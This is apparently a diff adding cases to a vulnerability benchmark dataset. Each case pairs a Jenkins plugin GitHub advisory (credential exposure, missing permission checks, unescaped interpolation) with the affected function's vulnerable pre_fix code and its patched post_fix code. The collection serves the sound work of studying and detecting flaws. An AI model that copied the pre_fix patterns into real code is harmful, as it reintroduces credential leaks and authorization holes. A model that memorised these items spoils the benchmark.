Thread.sleep(getSleepTime());\n continue;\n } else {\n if (action != null) {\n action.setJenkinsBuildSucceeds(false);\n }\n failBuild(build, listener, e.getMessage(), \"\");\n return;\n }\n }\n } while(currentBuild.getBuildStatus().equals(StatusType.IN_PROGRESS.toString()));\n\n if(currentBuild.getBuildStatus().equals(StatusType.SUCCEEDED.toString().toUpperCase(Locale.ENGLISH))) {\n action.setJenkinsBuildSucceeds(true);\n this.codeBuildResult.setSuccess();\n build.setResult(Result.SUCCESS);\n } else {\n action.setJenkinsBuildSucceeds(false);\n String errorMessage = \"Build \" + currentBuild.getId() + \" failed\" + \"\\n\\t> \" + action.getPhaseErrorMessage();\n failBuild(build, listener, errorMessage, \"\");\n }\n return;\n }\n"
+pre_fix = " public void perform(@Nonnull Run, ?> build, @Nonnull FilePath ws, @Nonnull Launcher launcher, @Nonnull TaskListener listener) throws InterruptedException, IOException {\n\n envVars = build.getEnvironment(listener);\n\n AWSClientFactory awsClientFactory;\n try {\n awsClientFactory = new AWSClientFactory(\n getParameterized(this.credentialsType),\n getParameterized(this.credentialsId),\n getParameterized(this.proxyHost),\n getParameterized(this.proxyPort),\n getParameterized(this.awsAccessKey),\n getParameterized(this.awsSecretKey),\n getParameterized(this.awsSessionToken),\n getParameterized(this.region),\n build);\n } catch (Exception e) {\n failBuild(build, listener, authorizationError, e.getMessage());\n return;\n }\n\n String projectConfigError = Validation.checkCodeBuilderConfig(this);\n if(!projectConfigError.isEmpty()) {\n failBuild(build, listener, configuredImproperlyError, projectConfigError);\n return;\n }\n\n String overridesErrorMessage = Validation.checkCodeBuilderStartBuildOverridesConfig(this);\n if(!overridesErrorMessage.isEmpty()) {\n failBuild(build, listener, configuredImproperlyError, overridesErrorMessage);\n return;\n }\n\n Collection codeBuildEnvVars = null;\n try {\n codeBuildEnvVars = mapEnvVariables(getParameterized(envVariables), EnvironmentVariableType.PLAINTEXT);\n codeBuildEnvVars.addAll(mapEnvVariables(getParameterized(envParameters), EnvironmentVariableType.PARAMETER_STORE));\n } catch(InvalidInputException e) {\n failBuild(build, listener, configuredImproperlyError, e.getMessage());\n return;\n }\n if(Validation.envVariablesHaveRestrictedPrefix(codeBuildEnvVars)) {\n failBuild(build, listener, configuredImproperlyError, envVariableNameSpaceError);\n return;\n }\n\n LoggingHelper.log(listener, awsClientFactory.getCredentialsDescriptor());\n\n final AWSCodeBuildClient cbClient;\n try {\n cbClient = awsClientFactory.getCodeBuildClient();\n } catch (Exception e) {\n failBuild(build, listener, e.getMessage(), \"\");\n return;\n }\n\n try {\n retrieveArtifactAndSourceInfo(cbClient);\n } catch (Exception e) {\n failBuild(build, listener, e.getMessage(), \"\");\n return;\n }\n\n StartBuildRequest startBuildRequest = new StartBuildRequest().withProjectName(getParameterized(projectName)).\n withGitCloneDepthOverride(generateStartBuildGitCloneDepthOverride()).\n withEnvironmentVariablesOverride(codeBuildEnvVars).withBuildspecOverride(getParameterized(buildSpecFile)).\n withTimeoutInMinutesOverride(Validation.parseInt(getParameterized(buildTimeoutOverride)));\n\n ProjectArtifacts artifactsOverride = generateStartBuildArtifactOverride();\n if(artifactsOverride != null) {\n startBuildRequest.setArtifactsOverride(artifactsOverride);\n }\n\n ProjectCache cacheOverride = generateStartBuildCacheOverride();\n if(cacheOverride != null) {\n startBuildRequest.setCacheOverride(cacheOverride);\n }\n\n if(!getParameterized(environmentTypeOverride).isEmpty()) {\n startBuildRequest.setEnvironmentTypeOverride(getParameterized(environmentTypeOverride));\n }\n\n if(!getParameterized(imageOverride).isEmpty()) {\n startBuildRequest.setImageOverride(getParameterized(imageOverride));\n }\n\n if(!getParameterized(computeTypeOverride).isEmpty()) {\n startBuildRequest.setComputeTypeOverride(getParameterized(computeTypeOverride));\n }\n\n if(!getParameterized(certificateOverride).isEmpty()) {\n startBuildRequest.setCertificateOverride(getParameterized(certificateOverride));\n }\n\n if(!getParameterized(serviceRoleOverride).isEmpty()) {\n startBuildRequest.setServiceRoleOverride(getParameterized(serviceRoleOverride));\n }\n\n if(!getParameterized(sourceTypeOverride).isEmpty()) {\n startBuildRequest.setSourceTypeOverride(getParameterized(sourceTypeOverride));\n SourceAuth auth = generateStartBuildSourceAuthOverride(getParameterized(sourceTypeOverride));\n if(auth != null) {\n startBuildRequest.setSourceAuthOverride(auth);\n }\n }\n\n if(!getParameterized(sourceLocationOverride).isEmpty()) {\n startBuildRequest.setSourceLocationOverride(getParameterized(sourceLocationOverride));\n }\n\n if(!getParameterized(insecureSslOverride).isEmpty()) {\n startBuildRequest.setInsecureSslOverride(Boolean.parseBoolean(getParameterized(insecureSslOverride)));\n }\n\n if(!getParameterized(privilegedModeOverride).isEmpty()) {\n startBuildRequest.setPrivilegedModeOverride(Boolean.parseBoolean(getParameterized(privilegedModeOverride)));\n }\n\n if(SourceControlType.JenkinsSource.toString().equals(getParameterized(sourceControlType))) {\n if(! Validation.checkSourceTypeS3(this.projectSourceType)) {\n failBuild(build, listener, invalidProjectError, \"\");\n return;\n }\n\n String sourceS3Bucket = Utils.getS3BucketFromObjectArn(this.projectSourceLocation);\n String sourceS3Key = Utils.getS3KeyFromObjectArn(this.projectSourceLocation);\n if(! Validation.checkBucketIsVersioned(sourceS3Bucket, awsClientFactory)) {\n failBuild(build, listener, notVersionsedS3BucketError, \"\");\n return;\n }\n\n S3DataManager s3DataManager = new S3DataManager(awsClientFactory.getS3Client(), sourceS3Bucket, sourceS3Key, getParameterized(sseAlgorithm));\n String uploadedSourceVersion = \"\";\n\n try {\n UploadToS3Output uploadToS3Output = s3DataManager.uploadSourceToS3(listener, ws);\n // Override source version to object version id returned by S3\n if(uploadToS3Output.getObjectVersionId() != null) {\n uploadedSourceVersion = uploadToS3Output.getObjectVersionId();\n } else {\n failBuild(build, listener, notVersionsedS3BucketError, \"\");\n return;\n }\n LoggingHelper.log(listener, \"S3 object version id for uploaded source is \" + uploadedSourceVersion);\n } catch (Exception e) {\n failBuild(build, listener, e.getMessage(), \"\");\n return;\n }\n\n startBuildRequest.setSourceVersion(uploadedSourceVersion);\n logStartBuildMessage(listener, uploadedSourceVersion);\n\n } else {\n startBuildRequest.setSourceVersion(getParameterized(sourceVersion));\n logStartBuildMessage(listener, getParameterized(sourceVersion));\n }\n\n final StartBuildResult sbResult;\n try {\n sbResult = cbClient.startBuild(startBuildRequest);\n } catch (Exception e) {\n failBuild(build, listener, e.getMessage(), \"\");\n return;\n }\n\n Build currentBuild = new Build().withBuildStatus(StatusType.IN_PROGRESS);\n String buildId = sbResult.getBuild().getId();\n LoggingHelper.log(listener, \"Build id: \" + buildId);\n LoggingHelper.log(listener, \"CodeBuild dashboard: \" + generateDashboardURL(buildId));\n\n boolean haveInitializedAction = false;\n CodeBuildAction action = null;\n CloudWatchMonitor logMonitor = null;\n\n //poll buildResult for build status until it's complete.\n do {\n try {\n List buildsForId = cbClient.batchGetBuilds(new BatchGetBuildsRequest().withIds(buildId)).getBuilds();\n\n if(buildsForId.size() != 1) {\n throw new Exception(\"Multiple builds mapped to this build id.\");\n }\n\n currentBuild = buildsForId.get(0);\n if(!haveInitializedAction) {\n logMonitor = new CloudWatchMonitor(awsClientFactory.getCloudWatchLogsClient());\n action = new CodeBuildAction(build);\n\n //only need to set these once, the others will need to be updated below as the build progresses.\n String buildARN = currentBuild.getArn();\n codeBuildResult.setBuildInformation(currentBuild.getId(), buildARN);\n BuildArtifacts artifacts = currentBuild.getArtifacts();\n codeBuildResult.setArtifactsLocation(artifacts != null ? artifacts.getLocation() : null);\n action.setBuildId(buildId);\n action.setBuildARN(buildARN);\n action.setStartTime(currentBuild.getStartTime().toString());\n\n ProjectSource source = currentBuild.getSource();\n if(source != null) {\n action.setSourceType(source.getType());\n action.setSourceLocation(source.getLocation());\n\n if(currentBuild.getSourceVersion() == null) {\n action.setSourceVersion(\"\");\n } else {\n action.setSourceVersion(currentBuild.getSourceVersion());\n }\n\n Integer depth = source.getGitCloneDepth();\n if(depth == null || depth == 0) {\n action.setGitCloneDepth(\"Full\");\n } else {\n action.setGitCloneDepth(String.valueOf(depth));\n }\n }\n\n action.setS3ArtifactURL(generateS3ArtifactURL(this.s3BucketBaseURL, artifactLocation, artifactType));\n action.setArtifactTypeOverride(getParameterized(artifactTypeOverride));\n action.setCodeBuildDashboardURL(generateDashboardURL(buildId));\n action.setS3BucketName(artifactLocation);\n action.setLogs(new ArrayList());\n\n build.addAction(action);\n haveInitializedAction = true;\n }\n\n updateDashboard(currentBuild, action, logMonitor, listener);\n Thread.sleep(getSleepTime());\n\n } catch(Exception e) {\n if(e.getClass().equals(InterruptedException.class)) {\n //Request to stop Jenkins build has been made. First make sure the build is stoppable\n List buildsForId = cbClient.batchGetBuilds(new BatchGetBuildsRequest().withIds(buildId)).getBuilds();\n currentBuild = buildsForId.get(0);\n if(!currentBuild.getCurrentPhase().equals(BuildPhaseType.COMPLETED.toString())) {\n cbClient.stopBuild(new StopBuildRequest().withId(buildId));\n //Wait for the build to actually stop\n do {\n buildsForId = cbClient.batchGetBuilds(new BatchGetBuildsRequest().withIds(buildId)).getBuilds();\n currentBuild = buildsForId.get(0);\n Thread.sleep(5000L);\n logMonitor.pollForLogs(listener);\n updateDashboard(currentBuild, action, logMonitor, listener);\n } while (!currentBuild.getCurrentPhase().equals(BuildPhaseType.COMPLETED.toString()));\n }\n if (action != null) {\n action.setJenkinsBuildSucceeds(false);\n }\n this.codeBuildResult.setStopped();\n build.setResult(Result.ABORTED);\n return;\n } else if(e.getMessage().contains(httpTimeoutMessage)) {\n Thread.sleep(getSleepTime());\n continue;\n } else {\n if (action != null) {\n action.setJenkinsBuildSucceeds(false);\n }\n failBuild(build, listener, e.getMessage(), \"\");\n return;\n }\n }\n } while(currentBuild.getBuildStatus().equals(StatusType.IN_PROGRESS.toString()));\n\n if(currentBuild.getBuildStatus().equals(StatusType.SUCCEEDED.toString().toUpperCase(Locale.ENGLISH))) {\n action.setJenkinsBuildSucceeds(true);\n this.codeBuildResult.setSuccess();\n build.setResult(Result.SUCCESS);\n } else {\n action.setJenkinsBuildSucceeds(false);\n String errorMessage = \"Build \" + currentBuild.getId() + \" failed\" + \"\\n\\t> \" + action.getPhaseErrorMessage();\n failBuild(build, listener, errorMessage, \"\");\n }\n return;\n }\n"
+repo = "jenkinsci/aws-codebuild-plugin"
+url = "https://github.com/jenkinsci/aws-codebuild-plugin.git"
+
+[[case]]
+advisory = "GHSA-mwg7-69hf-vqh3"
+advisory_text = "Insufficiently Protected Credentials in Jenkins AWS CodeBuild Plugin\n\nJenkins project Jenkins AWS CodeBuild Plugin version 0.26 and earlier contains a Insufficiently Protected Credentials vulnerability in AWSClientFactory.java, CodeBuilder.java that can result in Credentials Disclosure. This attack appear to be exploitable via local file access. This vulnerability appears to have been fixed in 0.27 and later."
+commit = "f5bae399c245ff6a7131ce9cca9636f5971d582c"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "AWSClientFactory"
+function_lines = [[79, 124]]
+id = "jenkinsci-aws-codebuild-plugin-78b40b445eb31871"
+language = "java"
+method = "fix_site"
+parent = "2c6e9da16f4381944ca880220f4fa9729923c3e4"
+path = "src/main/java/AWSClientFactory.java"
+post_fix = " public AWSClientFactory(String credentialsType, String credentialsId, String proxyHost, String proxyPort, String awsAccessKey, Secret awsSecretKey, String awsSessionToken,\n String region, Run, ?> build) {\n\n this.awsAccessKey = Validation.sanitize(awsAccessKey);\n this.awsSecretKey = awsSecretKey;\n this.awsSessionToken = Validation.sanitize(awsSessionToken);\n this.region = Validation.sanitize(region);\n this.properties = new Properties();\n\n Validation.checkAWSClientFactoryRegionConfig(this.region);\n this.credentialsDescriptor = \"\";\n\n if(credentialsType.equals(CredentialsType.Jenkins.toString())) {\n credentialsId = Validation.sanitize(credentialsId);\n Validation.checkAWSClientFactoryJenkinsCredentialsConfig(credentialsId);\n CodeBuildCredentials codeBuildCredentials;\n\n codeBuildCredentials = (CodeBuildCredentials) CredentialsMatchers.firstOrNull(SystemCredentialsProvider.getInstance().getCredentials(),\n CredentialsMatchers.allOf(CredentialsMatchers.withId(credentialsId)));\n\n if(codeBuildCredentials == null) {\n Item folder;\n Jenkins instance = Jenkins.getInstance();\n if(instance != null) {\n folder = instance.getItemByFullName(build.getParent().getParent().getFullName());\n codeBuildCredentials = (CodeBuildCredentials) CredentialsMatchers.firstOrNull(CredentialsProvider.lookupCredentials(Credentials.class, folder),\n CredentialsMatchers.allOf(CredentialsMatchers.withId(credentialsId)));\n }\n }\n\n if(codeBuildCredentials != null) {\n this.awsCredentialsProvider = codeBuildCredentials;\n this.proxyHost = codeBuildCredentials.getProxyHost();\n this.proxyPort = Validation.parseInt(codeBuildCredentials.getProxyPort());\n this.credentialsDescriptor = codeBuildCredentials.getCredentialsDescriptor() + \" (provided from Jenkins credentials \" + credentialsId + \")\";\n } else {\n throw new InvalidInputException(Validation.invalidCredentialsIdError);\n }\n } else if(credentialsType.equals(CredentialsType.Keys.toString())) {\n if(this.awsSecretKey == null) {\n throw new InvalidInputException(Validation.invalidSecretKeyError);\n }\n awsCredentialsProvider = getBasicCredentialsOrDefaultChain(Validation.sanitize(awsAccessKey), awsSecretKey.getPlainText(), Validation.sanitize(awsSessionToken));\n this.proxyHost = Validation.sanitize(proxyHost);\n this.proxyPort = Validation.parseInt(proxyPort);\n } else {\n throw new InvalidInputException(Validation.invalidCredTypeError);\n }\n }"
+pre_fix = " public AWSClientFactory(String credentialsType, String credentialsId, String proxyHost, String proxyPort, String awsAccessKey, String awsSecretKey, String awsSessionToken,\n String region, Run, ?> build) {\n\n this.awsAccessKey = Validation.sanitize(awsAccessKey);\n this.awsSecretKey = Validation.sanitize(awsSecretKey);\n this.awsSessionToken = Validation.sanitize(awsSessionToken);\n this.region = Validation.sanitize(region);\n this.properties = new Properties();\n\n Validation.checkAWSClientFactoryRegionConfig(this.region);\n this.credentialsDescriptor = \"\";\n\n if(credentialsType.equals(CredentialsType.Jenkins.toString())) {\n credentialsId = Validation.sanitize(credentialsId);\n Validation.checkAWSClientFactoryJenkinsCredentialsConfig(credentialsId);\n CodeBuildCredentials codeBuildCredentials;\n\n codeBuildCredentials = (CodeBuildCredentials) CredentialsMatchers.firstOrNull(SystemCredentialsProvider.getInstance().getCredentials(),\n CredentialsMatchers.allOf(CredentialsMatchers.withId(credentialsId)));\n\n if(codeBuildCredentials == null) {\n Item folder;\n Jenkins instance = Jenkins.getInstance();\n if(instance != null) {\n folder = instance.getItemByFullName(build.getParent().getParent().getFullName());\n codeBuildCredentials = (CodeBuildCredentials) CredentialsMatchers.firstOrNull(CredentialsProvider.lookupCredentials(Credentials.class, folder),\n CredentialsMatchers.allOf(CredentialsMatchers.withId(credentialsId)));\n }\n }\n\n if(codeBuildCredentials != null) {\n this.awsCredentialsProvider = codeBuildCredentials;\n this.proxyHost = codeBuildCredentials.getProxyHost();\n this.proxyPort = Validation.parseInt(codeBuildCredentials.getProxyPort());\n this.credentialsDescriptor = codeBuildCredentials.getCredentialsDescriptor() + \" (provided from Jenkins credentials \" + credentialsId + \")\";\n } else {\n throw new InvalidInputException(Validation.invalidCredentialsIdError);\n }\n } else if(credentialsType.equals(CredentialsType.Keys.toString())) {\n awsCredentialsProvider = getBasicCredentialsOrDefaultChain(Validation.sanitize(awsAccessKey), Validation.sanitize(awsSecretKey), Validation.sanitize(awsSessionToken));\n this.proxyHost = Validation.sanitize(proxyHost);\n this.proxyPort = Validation.parseInt(proxyPort);\n } else {\n throw new InvalidInputException(Validation.invalidCredTypeError);\n }\n }"
+repo = "jenkinsci/aws-codebuild-plugin"
+url = "https://github.com/jenkinsci/aws-codebuild-plugin.git"
+
+[[case]]
+advisory = "GHSA-jwr9-h4jm-c9ch"
+advisory_text = "Missing permission checks in Jenkins CloudBees AWS Credentials Plugin allows enumerating credentials IDs\n\nCloudBees AWS Credentials Plugin 1.28 and earlier does not perform a permission check in a helper method for HTTP endpoints.\n\nThis allows attackers with Overall/Read permission to enumerate credentials IDs of AWS credentials stored in Jenkins if any of the following plugins are installed:\n\n- [Amazon Elastic Container Service (ECS) / Fargate](https://plugins.jenkins.io/amazon-ecs)\n- [AWS Parameter Store Build Wrapper](https://plugins.jenkins.io/aws-parameter-store)\n- [AWS SAM](https://plugins.jenkins.io/aws-sam)\\n\\nFurther plugins may use this helper method as well without performing a permission check themselves.\n\nCredentials IDs obtained this way can be used as part of an attack to capture the credentials using another vulnerability.\n\nCloudBees AWS Credentials Plugin 1.28.1 performs permission checks in the helper method for HTTP endpoints."
+commit = "dd477a071bd633d9118c63dc3f19a2fd0590aecb"
+cwe = "CWE-862"
+family = "access_control"
+function = "doFillCredentialsIdItems"
+function_lines = [[33, 43]]
+id = "jenkinsci-aws-credentials-plugin-79ab9c6465c74964"
+language = "java"
+method = "fix_site"
+parent = "a115be13839d894d12a99886e8b6609ca7b2db24"
+path = "src/main/java/com/cloudbees/jenkins/plugins/awscredentials/AWSCredentialsHelper.java"
+post_fix = " public static ListBoxModel doFillCredentialsIdItems(ItemGroup context) {\n AbstractIdCredentialsListBoxModel result = new StandardListBoxModel().includeEmptyValue();\n if (hasPermission(context)) {\n result = result.withMatching(\n CredentialsMatchers.always(),\n CredentialsProvider.lookupCredentials(AmazonWebServicesCredentials.class,\n context,\n ACL.SYSTEM,\n Collections.EMPTY_LIST));\n }\n return result;\n }\n}"
+pre_fix = " public static ListBoxModel doFillCredentialsIdItems(ItemGroup context) {\n return new StandardListBoxModel()\n .withEmptySelection()\n .withMatching(\n CredentialsMatchers.always(),\n CredentialsProvider.lookupCredentials(AmazonWebServicesCredentials.class,\n context,\n ACL.SYSTEM,\n Collections.EMPTY_LIST));\n }\n}"
+repo = "jenkinsci/aws-credentials-plugin"
+url = "https://github.com/jenkinsci/aws-credentials-plugin.git"
+
+[[case]]
+advisory = "GHSA-5r6p-p9r6-r326"
+advisory_text = "Improper Encoding or Escaping of Output in Jenkins Configuration as Code Plugin\n\nJenkins Configuration as Code Plugin 1.24 and earlier did not escape values resulting in variable interpolation during configuration import when exporting, allowing attackers with permission to change Jenkins system configuration to obtain the values of environment variables."
+commit = "b48a292112c532ab1447b864c7d30c2cae733ac8"
+cwe = "CWE-116"
+family = "output_encoding"
+function = "resolve"
+function_lines = [[21, 24]]
+id = "jenkinsci-configuration-as-code-plugin-26c452bafd056c70"
+language = "java"
+method = "fix_site"
+parent = "1c531c1a46fc1da6a82cd728bf66428083d30fef"
+path = "plugin/src/main/java/io/jenkins/plugins/casc/SecretSourceResolver.java"
+post_fix = " public static String resolve(ConfigurationContext context, String toInterpolate) {\n return substitutor(context).replace(toInterpolate);\n }\n"
+pre_fix = " public static String resolve(ConfigurationContext context, String toInterpolate) {\n return interpolator(context).interpolate(toInterpolate, \"\");\n }\n"
+repo = "jenkinsci/configuration-as-code-plugin"
+url = "https://github.com/jenkinsci/configuration-as-code-plugin.git"
+
+[[case]]
+advisory = "GHSA-43j2-r4v3-m8jp"
+advisory_text = "Secrets are not masked by Jenkins Credentials Binding Plugin in builds without build steps\n\nJenkins Credentials Binding Plugin 1.22 and earlier does not mask (i.e., replace with asterisks) secrets in the build log when the build contains no build steps.\n\nJenkins Credentials Binding Plugin 1.23 now masks secrets when the build contains no build steps."
+commit = "59ead11bcb3fd132258d1d7da4a34d47750f40d2"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "close"
+function_lines = [[165, 168]]
+id = "jenkinsci-credentials-binding-plugin-912adeb590b59d23"
+language = "java"
+method = "fix_site"
+parent = "079543c19a08843c57cd3ddbc23341ad1eb34222"
+path = "src/main/java/org/jenkinsci/plugins/credentialsbinding/impl/SecretBuildWrapper.java"
+post_fix = " @Override public void close() throws IOException {\n super.close();\n logger.close();\n secretsForBuild.remove(build);\n }"
+pre_fix = " @Override public void close() throws IOException {\n super.close();\n logger.close();\n }"
+repo = "jenkinsci/credentials-binding-plugin"
+url = "https://github.com/jenkinsci/credentials-binding-plugin.git"
+
+[[case]]
+advisory = "GHSA-43j2-r4v3-m8jp"
+advisory_text = "Secrets are not masked by Jenkins Credentials Binding Plugin in builds without build steps\n\nJenkins Credentials Binding Plugin 1.22 and earlier does not mask (i.e., replace with asterisks) secrets in the build log when the build contains no build steps.\n\nJenkins Credentials Binding Plugin 1.23 now masks secrets when the build contains no build steps."
+commit = "59ead11bcb3fd132258d1d7da4a34d47750f40d2"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "tearDown"
+function_lines = [[106, 112]]
+id = "jenkinsci-credentials-binding-plugin-d713906e76e2660a"
+language = "java"
+method = "fix_site"
+parent = "079543c19a08843c57cd3ddbc23341ad1eb34222"
+path = "src/main/java/org/jenkinsci/plugins/credentialsbinding/impl/SecretBuildWrapper.java"
+post_fix = " @Override public boolean tearDown(AbstractBuild build, BuildListener listener) throws IOException, InterruptedException {\n for (MultiBinding.MultiEnvironment e : m) {\n e.getUnbinder().unbind(build, build.getWorkspace(), launcher, listener);\n }\n return true;\n }"
+pre_fix = " @Override public boolean tearDown(AbstractBuild build, BuildListener listener) throws IOException, InterruptedException {\n for (MultiBinding.MultiEnvironment e : m) {\n e.getUnbinder().unbind(build, build.getWorkspace(), launcher, listener);\n }\n secretsForBuild.remove(build);\n return true;\n }"
+repo = "jenkinsci/credentials-binding-plugin"
+url = "https://github.com/jenkinsci/credentials-binding-plugin.git"
+
+[[case]]
+advisory = "GHSA-xfrw-pcmc-r2p3"
+advisory_text = "Missing permission checks in Jenkins OWASP Dependency-Track Plugin allow capturing credentials\n\nJenkins OWASP Dependency-Track Plugin 3.1.0 and earlier does not perform permission checks in several HTTP endpoints.\n\nThis allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing \\\"Secret text\\\" credentials stored in Jenkins. If no credentials ID is specified, the globally configured credential is used, if set up, and can likewise be captured.\n\nJenkins OWASP Dependency-Track Plugin 3.1.1 requires appropriate permissions for the affected HTTP endpoints."
+commit = "70e7b82ad9a10499e628998a0bcb57c1481c66bc"
+cwe = "CWE-862"
+family = "access_control"
+function = "doCheckDependencyTrackFrontendUrl"
+function_lines = [[205, 219]]
+id = "jenkinsci-dependency-track-plugin-673cc48b4f75ebf5"
+language = "java"
+method = "fix_site"
+parent = "69317029c8a3eaadc7fe3f5a57de2c364279f612"
+path = "src/main/java/org/jenkinsci/plugins/DependencyTrack/DescriptorImpl.java"
+post_fix = " public FormValidation doCheckDependencyTrackFrontendUrl(@QueryParameter String value, @AncestorInPath @Nullable Item item) {\n if (item == null) {\n Jenkins.get().checkPermission(Jenkins.ADMINISTER);\n } else {\n item.checkPermission(Item.CONFIGURE);\n }\n return PluginUtil.doCheckUrl(value);\n }\n\n /**\n * Performs an on-the-fly check of the Dependency-Track URL and api key\n * parameters by making a simple call to the server and validating the\n * response code.\n *\n * @param dependencyTrackUrl the base URL to Dependency-Track\n * @param dependencyTrackApiKey the credential-id of the API key to use for authentication\n * @param item used to lookup credentials in job config. ignored in global\n * config\n * @return FormValidation\n */\n @POST"
+pre_fix = " public FormValidation doCheckDependencyTrackFrontendUrl(@QueryParameter String value) {\n return PluginUtil.doCheckUrl(value);\n }\n\n /**\n * Performs an on-the-fly check of the Dependency-Track URL and api key\n * parameters by making a simple call to the server and validating the\n * response code.\n *\n * @param dependencyTrackUrl the base URL to Dependency-Track\n * @param dependencyTrackApiKey the credential-id of the API key to use for authentication\n * @param item used to lookup credentials in job config. ignored in global\n * config\n * @return FormValidation\n */"
+repo = "jenkinsci/dependency-track-plugin"
+url = "https://github.com/jenkinsci/dependency-track-plugin.git"
+
+[[case]]
+advisory = "GHSA-xfrw-pcmc-r2p3"
+advisory_text = "Missing permission checks in Jenkins OWASP Dependency-Track Plugin allow capturing credentials\n\nJenkins OWASP Dependency-Track Plugin 3.1.0 and earlier does not perform permission checks in several HTTP endpoints.\n\nThis allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing \\\"Secret text\\\" credentials stored in Jenkins. If no credentials ID is specified, the globally configured credential is used, if set up, and can likewise be captured.\n\nJenkins OWASP Dependency-Track Plugin 3.1.1 requires appropriate permissions for the affected HTTP endpoints."
+commit = "70e7b82ad9a10499e628998a0bcb57c1481c66bc"
+cwe = "CWE-862"
+family = "access_control"
+function = "doCheckDependencyTrackUrl"
+function_lines = [[195, 204]]
+id = "jenkinsci-dependency-track-plugin-90b566be2c3aebff"
+language = "java"
+method = "fix_site"
+parent = "69317029c8a3eaadc7fe3f5a57de2c364279f612"
+path = "src/main/java/org/jenkinsci/plugins/DependencyTrack/DescriptorImpl.java"
+post_fix = " public FormValidation doCheckDependencyTrackUrl(@QueryParameter String value, @AncestorInPath @Nullable Item item) {\n if (item == null) {\n Jenkins.get().checkPermission(Jenkins.ADMINISTER);\n } else {\n item.checkPermission(Item.CONFIGURE);\n }\n return PluginUtil.doCheckUrl(value);\n }\n\n /**\n * Performs input validation when submitting the global config\n *\n * @param value The value of the URL as specified in the global config\n * @param item used to check permissions in job config. ignored in global\n * @return a FormValidation object\n */\n @POST"
+pre_fix = " public FormValidation doCheckDependencyTrackUrl(@QueryParameter String value) {\n return PluginUtil.doCheckUrl(value);\n }\n\n /**\n * Performs input validation when submitting the global config\n *\n * @param value The value of the URL as specified in the global config\n * @return a FormValidation object\n */"
+repo = "jenkinsci/dependency-track-plugin"
+url = "https://github.com/jenkinsci/dependency-track-plugin.git"
+
+[[case]]
+advisory = "GHSA-xfrw-pcmc-r2p3"
+advisory_text = "Missing permission checks in Jenkins OWASP Dependency-Track Plugin allow capturing credentials\n\nJenkins OWASP Dependency-Track Plugin 3.1.0 and earlier does not perform permission checks in several HTTP endpoints.\n\nThis allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing \\\"Secret text\\\" credentials stored in Jenkins. If no credentials ID is specified, the globally configured credential is used, if set up, and can likewise be captured.\n\nJenkins OWASP Dependency-Track Plugin 3.1.1 requires appropriate permissions for the affected HTTP endpoints."
+commit = "70e7b82ad9a10499e628998a0bcb57c1481c66bc"
+cwe = "CWE-862"
+family = "access_control"
+function = "doTestConnection"
+function_lines = [[220, 245]]
+id = "jenkinsci-dependency-track-plugin-9e8488d96f7c0424"
+language = "java"
+method = "fix_site"
+parent = "69317029c8a3eaadc7fe3f5a57de2c364279f612"
+path = "src/main/java/org/jenkinsci/plugins/DependencyTrack/DescriptorImpl.java"
+post_fix = " public FormValidation doTestConnection(@QueryParameter final String dependencyTrackUrl, @QueryParameter final String dependencyTrackApiKey, @AncestorInPath @Nullable Item item) {\n if (item == null) {\n Jenkins.get().checkPermission(Jenkins.ADMINISTER);\n } else {\n item.checkPermission(Item.CONFIGURE);\n }\n // url may come from instance-config. if empty, then take it from global config (this)\n final String url = Optional.ofNullable(PluginUtil.parseBaseUrl(dependencyTrackUrl)).orElse(getDependencyTrackUrl());\n // api-key may come from instance-config. if empty, then take it from global config (this)\n final String apiKey = lookupApiKey(Optional.ofNullable(StringUtils.trimToNull(dependencyTrackApiKey)).orElse(getDependencyTrackApiKey()), item);\n if (doCheckDependencyTrackUrl(url, item).kind == FormValidation.Kind.OK && StringUtils.isNotBlank(apiKey)) {\n try {\n final ApiClient apiClient = getClient(url, apiKey);\n final String result = apiClient.testConnection();\n return result.startsWith(\"Dependency-Track v\") ? FormValidation.ok(\"Connection successful - \" + result) : FormValidation.error(\"Connection failed - \" + result);\n } catch (ApiClientException e) {\n return FormValidation.error(e, \"Connection failed\");\n }\n }\n return FormValidation.warning(\"URL must be valid and Api-Key must not be empty\");\n }\n\n /**\n * Takes the /apply/save step in the global config and saves the JSON data.\n *\n * @param req the request\n * @param formData the form data\n * @return a boolean\n * @throws FormException an exception validating form input\n */\n @Override"
+pre_fix = " public FormValidation doTestConnection(@QueryParameter final String dependencyTrackUrl, @QueryParameter final String dependencyTrackApiKey, @AncestorInPath @Nullable Item item) {\n // url may come from instance-config. if empty, then take it from global config (this)\n final String url = Optional.ofNullable(PluginUtil.parseBaseUrl(dependencyTrackUrl)).orElse(getDependencyTrackUrl());\n // api-key may come from instance-config. if empty, then take it from global config (this)\n final String apiKey = lookupApiKey(Optional.ofNullable(StringUtils.trimToNull(dependencyTrackApiKey)).orElse(getDependencyTrackApiKey()), item);\n if (doCheckDependencyTrackUrl(url).kind == FormValidation.Kind.OK && StringUtils.isNotBlank(apiKey)) {\n try {\n final ApiClient apiClient = getClient(url, apiKey);\n final String result = apiClient.testConnection();\n return result.startsWith(\"Dependency-Track v\") ? FormValidation.ok(\"Connection successful - \" + result) : FormValidation.error(\"Connection failed - \" + result);\n } catch (ApiClientException e) {\n return FormValidation.error(e, \"Connection failed\");\n }\n }\n return FormValidation.warning(\"URL must be valid and Api-Key must not be empty\");\n }\n\n /**\n * Takes the /apply/save step in the global config and saves the JSON data.\n *\n * @param req the request\n * @param formData the form data\n * @return a boolean\n * @throws FormException an exception validating form input\n */\n @Override"
+repo = "jenkinsci/dependency-track-plugin"
+url = "https://github.com/jenkinsci/dependency-track-plugin.git"
+
+[[case]]
+advisory = "GHSA-22rj-q66g-2jg3"
+advisory_text = "Jenkins GitLab Logo Plugin stores credentials unencrypted\n\nJenkins GitLab Logo Plugin stores credentials unencrypted in its global configuration file on the Jenkins master where they can be viewed by users with access to the master file system."
+commit = "1a64595353df91b5fcf2d9336fa627e06ef1f8a9"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "getPrivateToken"
+function_lines = [[111, 114]]
+id = "jenkinsci-gitlab-logo-plugin-2cdae87438f0fc39"
+language = "java"
+method = "fix_site"
+parent = "f4c28e3db4974bfb03ba41838e68a1d99debd75b"
+path = "src/main/java/org/jenkinsci/plugins/gitlablogo/GitlabLogoProperty.java"
